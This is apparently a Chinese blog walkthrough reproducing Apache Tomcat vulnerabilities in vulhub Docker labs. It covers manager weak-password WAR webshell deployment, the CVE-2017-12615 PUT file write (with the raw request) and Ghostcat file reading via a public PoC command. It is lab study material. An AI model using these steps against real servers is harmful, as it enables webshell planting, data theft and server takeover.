首页 > 其他分享 >Tomcat系列漏洞复现

Tomcat系列漏洞复现

时间:2024-07-22 09:29:36浏览次数:5  
标签:shell Tomcat tomcat 漏洞 manager 复现 权限

Tomcat系列漏洞复现

Tomcat7+ 弱口令 && 后台getshell漏洞

漏洞说明

Tomcat7+权限分为:

  • manager(后台管理)
    • manager-gui 拥有html页面权限
    • manager-status 拥有查看status的权限
    • manager-script 拥有text接口的权限,和status权限
    • manager-jmx 拥有jmx权限,和status权限
  • host-manager(虚拟主机管理)
    • admin-gui 拥有html页面权限
    • admin-script 拥有text接口权限

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有这些相应权限。

对应的弱口令为tomcat:tomcat

漏洞复现

进入/vulhub/tomcat/tomcat8目录,直接开启环境

cd /vulhub/tomcat/tomcat8
docker-compose up -d

进入这个页面,环境就算成功了

http://your-ip:8080/manager/html

一般在conf/tomcat-users.xml 中可以看到配置用户的权限,此时我们在此处就可以直接看到

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

</tomcat-users>

可以看到弱口令tomcat:tomcat 和上面所说的权限

ps:正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

使用弱口令tomcat:tomcat进行登录,进入到管理页面

我们使用冰蝎自带的shell.jsp压缩为zip,然后更改后缀为war

zip shell.zip shell.jsp
mv shell.zip shell.war

然后我们上传一下

上传成功

这里后面改为了shell1.war 此时访问your-ip:8080/shell1/shell.jsp 成功

然后使用冰蝎连接

成功

Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

利用版本:

Tomcat版本:8.5.19

漏洞原理:

在Tomcat的配置文件中设置了可写(readonly=false),导致可以往服务器写文件

漏洞复现:

首先开启环境

docker-compose build
docker-compose up -d

开启成功后,访问http://your-ip:8080

抓包,然后发送如下数据包,可以上传jsp

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

shell处我们使用冰蝎自带的shell.jsp中的内容

访问http://your-ip:8080/1.jsp 发现上传成功

使用冰蝎连接

成功

使用命令,停止环境

docker-compose down

Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938)

漏洞信息:

由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

也称为Ghostcat(幽灵猫)

可以使用网站进行在线检测:CVE-2020-1938:幽灵猫 Ghostcat 漏洞 (chaitin.cn)

漏洞环境:

受到漏洞影响的版本:

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

漏洞复现:

使用命令开启漏洞环境:

docker compose up -d

访问8080端口,可以访问到Tomcat默认页面

并发现已经开启了8009端口

这里我们可以使用现成的POC来复现这个漏洞

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git

python2使用POC,用来读取 Tomcat所有 webapp目录下的任意文件,这里读取配置文件WEB-INF/web.xml进行演示

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f WEB-INF/web.xml

漏洞验证:

我们进入容器的命令行,首先查看容器列表,查看容器ID

docker ps

进入容器查看

docker exec -it ebb77b10002d /bin/bash

我们进入到容器的/usr/local/tomcat/webapps/ROOT/WEB-INF目录中,读取web.xml 文件,可以看到和我们POC读取的文件是一模一样的,因此,漏洞复现成功

标签:shell,Tomcat,tomcat,漏洞,manager,复现,权限
From: https://www.cnblogs.com/obeto/p/18315385

相关文章

  • 封禁 NetBIOS Session Service 和 SMB 服务(特别是旧版本的SMB)可能是出于安全性考虑。
    封禁NetBIOSSessionService和SMB服务(特别是旧版本的SMB)可能是出于安全性考虑。这两种服务在过去的实现中存在一些安全漏洞和风险,特别是在现代网络环境中,这些风险可能会被利用来进行攻击或者未经授权的访问。下面是一些常见的安全考虑:中间人攻击:未加密的NetBIOS和旧版本......
  • 实战篇——支付逻辑漏洞portswigger靶场实战
    实战篇——支付逻辑漏洞portswigger靶场实战portswigger是burpsuite的官方在线靶场,内置了大量常见Web漏洞的场景,本章以Businesslogicvulnerabilities一章为例,浅析支付逻辑漏洞。Excessivetrustinclient-sidecontrols点击Addtocart,抓包:将price改成1,发送:成功篡改价......
  • 【计算机人接私活】手把手教你上手挖到第一个漏洞,从底薪3k到月入过万,只有一步之遥!
    计算机人想接靠谱的私活?看这篇!暑假想做兼职赚生活费?看这篇!挖漏洞找不到门路?看这篇!挖漏洞必备工具Up入行网安多年,一直在探索副业项目。从最初的月薪5k,到现在一个漏洞就能赚12k,副业赚的钱已经是主业的三倍!现在就将自己的经验和干货分享给大家:首先是挖漏洞工具,安装包......
  • 【计算机人接私活】手把手教你上手挖到第一个漏洞,从底薪3k到月入过万,只有一步之遥!
    计算机人想接靠谱的私活?看这篇!暑假想做兼职赚生活费?看这篇!挖漏洞找不到门路?看这篇!挖漏洞必备工具Up入行网安多年,一直在探索副业项目。从最初的月薪5k,到现在一个漏洞就能赚12k,副业赚的钱已经是主业的三倍!现在就将自己的经验和干货分享给大家:首先是挖漏洞工具,安装包......
  • 【计算机人接私活】手把手教你上手挖到第一个漏洞,从底薪3k到月入过万,只有一步之遥!
    计算机人想接靠谱的私活?看这篇!暑假想做兼职赚生活费?看这篇!挖漏洞找不到门路?看这篇!挖漏洞必备工具Up入行网安多年,一直在探索副业项目。从最初的月薪5k,到现在一个漏洞就能赚12k,副业赚的钱已经是主业的三倍!现在就将自己的经验和干货分享给大家:首先是挖漏洞工具,安装包......
  • Tenable Nessus 10.7.5 (macOS, Linux, Windows) 发布 - #1 漏洞评估解决方案
    TenableNessus10.7.5(macOS,Linux,Windows)发布-#1漏洞评估解决方案发布Nessus试用版自动化安装程序,支持macOSSonoma、RHEL9和Ubuntu24.04请访问原文链接:https://sysin.org/blog/nessus-10/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgNessus......
  • 【Tomcat系列】编写第一个Java程序
    接上文【Tomcat系列】安装+环境配置使用Tomcat之前需要现有JDK(JavaDevelopmentKit)环境。根据上文配置的环境变量,可以写一个简单的java程序来测试JDK是否已安装成功:publicclassTest{publicstaticvoidmain(Stringargs[]){System.out.println("Thisisatestprog......
  • 【渗透测试系列】常见网站的逻辑漏洞checklist
    前言在做网站渗透之前除了关注一些通用漏洞,这些漏洞通常能很容易的利用扫描器扫出,被WAF所防护,然而有一些逻辑漏洞WAF和扫描器就无法发现了,就需要人工来测试,根据各行业的特点总结了下网站的常见漏洞checklist。互联网行业P2P金融行业电商行业政务行业​......
  • 【笔记】从0开始的sql注入漏洞学习
    【笔记】从0开始的sql注入漏洞学习SQL数据库操作基础第一部分:MYSQL(MariaDB)基础操作1.连接数据库:mysql-uroot-p-u 输入登录用户名-p 输入密码(这个没有密码)2.显示系统中所有数据库的名称showdatabases;3.新建数据库studentcreatedatabasestudent;使用以下命令......
  • Ubuntu 22.04.4 LTS (linux) Tomcat 下载 安装配置详细教程
    1官网下载下载链接2ubuntu服务器安装#下载wgethttps://dlcdn.apache.org/tomcat/tomcat-9/v9.0.91/bin/apache-tomcat-9.0.91.tar.gz#解压tarzxvfapache-tomcat-9.0.91.tar.gzsudomvapache-tomcat-9.0.91//data/tomcat#配置环境变量sudovi/etc/profile......